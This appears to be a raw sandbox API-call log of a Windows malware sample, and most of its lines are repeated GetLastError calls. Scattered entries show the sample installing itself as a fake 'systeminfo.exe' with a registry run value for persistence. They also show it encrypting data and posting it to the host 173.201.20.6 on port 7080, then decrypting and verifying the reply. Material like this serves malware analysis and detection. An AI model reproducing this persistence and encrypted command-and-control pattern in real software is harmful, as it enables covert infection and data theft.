GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.600] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.601] GetLastError () returned 0x0 [0074.602] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc28, lpdwBufferLength=0x2f1fc30, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc28*, lpdwBufferLength=0x2f1fc30*=0x4, lpdwIndex=0x0) returned 1 [0074.602] GetCurrentProcessId () returned 0x81c [0074.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403cd8, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403cd8*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x94) returned 1 [0074.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403d6c, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403d6c*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x0) returned 1 [0074.602] lstrlenA (lpString="just string") returned 11 [0074.602] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0074.602] GetLastError () returned 0x0 [0074.602] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0074.602] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db628, Final=1, dwFlags=0x0, pbData=0x40cc58, pdwDataLen=0x2f1fcfc | out: pbData=0x40cc58, pdwDataLen=0x2f1fcfc) returned 1 [0074.602] CryptVerifySignatureW (hHash=0x3db628, pbSignature=0x403cd8, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0074.604] CryptDestroyHash (hHash=0x3db628) returned 1 [0074.604] GetCurrentProcessId () returned 0x81c [0074.604] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.604] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0074.604] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.604] RegSetValueExW (in: hKey=0x3fc, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0074.604] RegCloseKey (hKey=0x3fc) returned 0x0 [0074.605] GetLastError () returned 0x0 [0074.984] GetTickCount () returned 0x21cb3 [0074.985] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1faf8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0074.985] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0074.985] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3fc [0074.986] GetLastError () returned 0x0 [0075.001] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0075.001] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db628, Final=1, dwFlags=0x0, pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x246, dwBufLen=0x250 | out: pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x250) returned 1 [0075.001] lstrlenA (lpString="just string") returned 11 [0075.001] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0075.001] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbb4, pdwDataLen=0x2f1fc20 | out: pbData=0x2f1fbb4*, pdwDataLen=0x2f1fc20*=0x6c) returned 1 [0075.001] GetLastError () returned 0x0 [0075.001] CryptGetHashParam (in: hHash=0x3db628, dwParam=0x2, pbData=0x33b60a8, pdwDataLen=0x2f1fc20, dwFlags=0x0 | out: pbData=0x33b60a8, pdwDataLen=0x2f1fc20) returned 1 [0075.001] CryptDestroyHash (hHash=0x3db628) returned 1 [0075.001] GetCurrentProcessId () returned 0x81c [0075.001] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa28, cbSize=0x2f1fc28 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc28) returned 0x0 [0075.001] GetLastError () returned 0x0 [0075.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0075.001] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.001] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.002] GetCurrentProcessId () returned 0x81c [0075.002] GetCurrentProcessId () returned 0x81c [0075.002] lstrlenA (lpString="just string") returned 11 [0075.002] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0075.002] GetLastError () returned 0x0 [0075.002] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0075.003] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b6048*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b6048*) returned 1 [0075.610] GetCurrentProcess () returned 0xffffffff [0075.610] GetLastError () returned 0x0 [0075.610] wsprintfA (in: param_1=0x2f1fb8f, param_2="%X%P" | out: param_1="71C3BBP") returned 7 [0075.610] SetLastError (dwErrCode=0x0) [0075.610] GetCurrentProcessId () returned 0x81c [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.611] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.612] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.613] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.614] GetLastError () returned 0x0 [0075.616] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2f1fce0, lpdwBufferLength=0x2f1fc38, lpdwIndex=0x0 | out: lpBuffer=0x2f1fce0*, lpdwBufferLength=0x2f1fc38*=0x4, lpdwIndex=0x0) returned 1 [0075.616] GetLastError () returned 0x0 [0075.616] wsprintfA (in: param_1=0x2f1fb8f, param_2="%X%P" | out: param_1="71C3BCP") returned 7 [0075.616] SetLastError (dwErrCode=0x0) [0075.616] GetCurrentProcessId () returned 0x81c [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.620] GetLastError () returned 0x0 [0075.622] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc28, lpdwBufferLength=0x2f1fc30, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc28*, lpdwBufferLength=0x2f1fc30*=0x4, lpdwIndex=0x0) returned 1 [0075.622] GetCurrentProcessId () returned 0x81c [0075.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403cd8, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403cd8*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x94) returned 1 [0075.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403d6c, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403d6c*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x0) returned 1 [0075.622] lstrlenA (lpString="just string") returned 11 [0075.622] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0075.622] GetLastError () returned 0x0 [0075.622] GetLastError () returned 0x0 [0075.622] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0075.622] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db768, Final=1, dwFlags=0x0, pbData=0x40ccf8, pdwDataLen=0x2f1fcfc | out: pbData=0x40ccf8, pdwDataLen=0x2f1fcfc) returned 1 [0075.622] CryptVerifySignatureW (hHash=0x3db768, pbSignature=0x403cd8, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0075.624] CryptDestroyHash (hHash=0x3db768) returned 1 [0075.625] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.625] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0075.625] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.625] RegSetValueExW (in: hKey=0x3fc, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0075.626] RegCloseKey (hKey=0x3fc) returned 0x0 